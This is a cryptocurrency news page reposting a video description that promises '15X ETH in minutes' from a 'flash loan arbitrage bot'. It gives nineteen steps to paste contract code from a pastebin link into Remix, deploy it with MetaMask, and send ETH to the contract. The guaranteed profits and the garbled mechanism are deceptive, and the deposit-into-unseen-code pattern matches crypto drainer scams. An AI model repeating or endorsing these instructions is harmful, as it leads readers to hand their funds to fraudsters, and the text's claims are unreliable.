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Cryptocurrency News Video
Flash Loan Arbitrage Bot Ethereum Tutorial | I made 15X ETH in only minutes
Jun 09, 2024 at 03:00 pm Agora city
#flashloan #flashloanarbitrage #arbitragebot
Flash Loan Attack Arbitrage Bot Contract. Make your very own trading bot on Uniswap & Ethereum
Uniswap Flash Loan Attack Tutorial
Remix Website: https://remix.ethereum.org/
Arbitrage Bot Code: https://pastebin.com/raw/gX0Sdhkr
You need to deposit at least 0.1 for the contract to execute correctly and complete the flash loan attack.
The more you deposit, the more swaps can be performed in the flash loan arbitrage.
How it works:
The contract will create a new token and then initiate a flash loan to trade against the token. Within this same contract, the flash loan will be paid back and any profit remaining will be transferred to your wallet. This is called a flash loan arbitrage as it's looking for crypto arbitrage opportunities with the ETH coin.
To get started, you need to have MetaMask browser extension installed. https://metamask.io or google 'metamask'
FULL INSTRUCTIONS
1. Download and setup the metamask browser wallet if you don't have it.
2. Make sure you have enough ETH to pay for the token creation and flash loan contract gas fees
a. The amount of ETH you want depends on how much of a loan you pull. It has to be a minimum of 0.1 for the contract to process all the arbitrage swaps on uniswap and the ethereum blockchain. The higher the liquidity, the higher the profit.
3. Open the remix url in your browser
4. Click on contract folder on the left and click New File
5. Name the file something like flashloan.sol
6. Copy and paste the contract code into the new file
7. Select the second tab on the left
8. Choose the compiler that matches the top of the code
9. Click on compile at the bottom
10. Once it is finished, go to the third tab on the left
11. Under environment, click on injected web3. This will connect to your metamask wallet so that you can interact with the contract and implement your token on uniswap and the ethereum blockchain.
12. Click on the arrow under deploy.
13. Enter the details for your new token that will be launched on uniswap. For the loan amount choose anything from 12000 and up. This needs to be in line with whatever liquidity you decide to deposit so it's usually .1 per 1000 ethereum borrowed.
14. Click transact and then confirm the gas fees to launch the token in MetaMask.
15. Under deployed contracts, copy the new token contract code.
16. Go to your metamask or any wallet and send the liquidity to the new contract code.
17. Wait until the transaction is confirmed on the blockchain
18. Once that is finished, click the arrow and click the red Action button and confirm the gas fees to execute the flash loan attack.
19. That's it! The flash loan will be paid back automatically and any profit will be returned to your wallet in a few seconds/minutes.
Ethereum is a great blockchain network with very high volume for flash loan attacks to work well on the uniswap network.
#flashloanarbitrage #flashloan #arbitragebot
Disclaimer:info@kdj.com
The information provided is not trading advice. kdj.com does not assume any responsibility for any investments made based on the information provided in this article. Cryptocurrencies are highly volatile and it is highly recommended that you invest with caution after thorough research!
If you believe that the content used on this website infringes your copyright, please contact us immediately (info@kdj.com) and we will delete it promptly.
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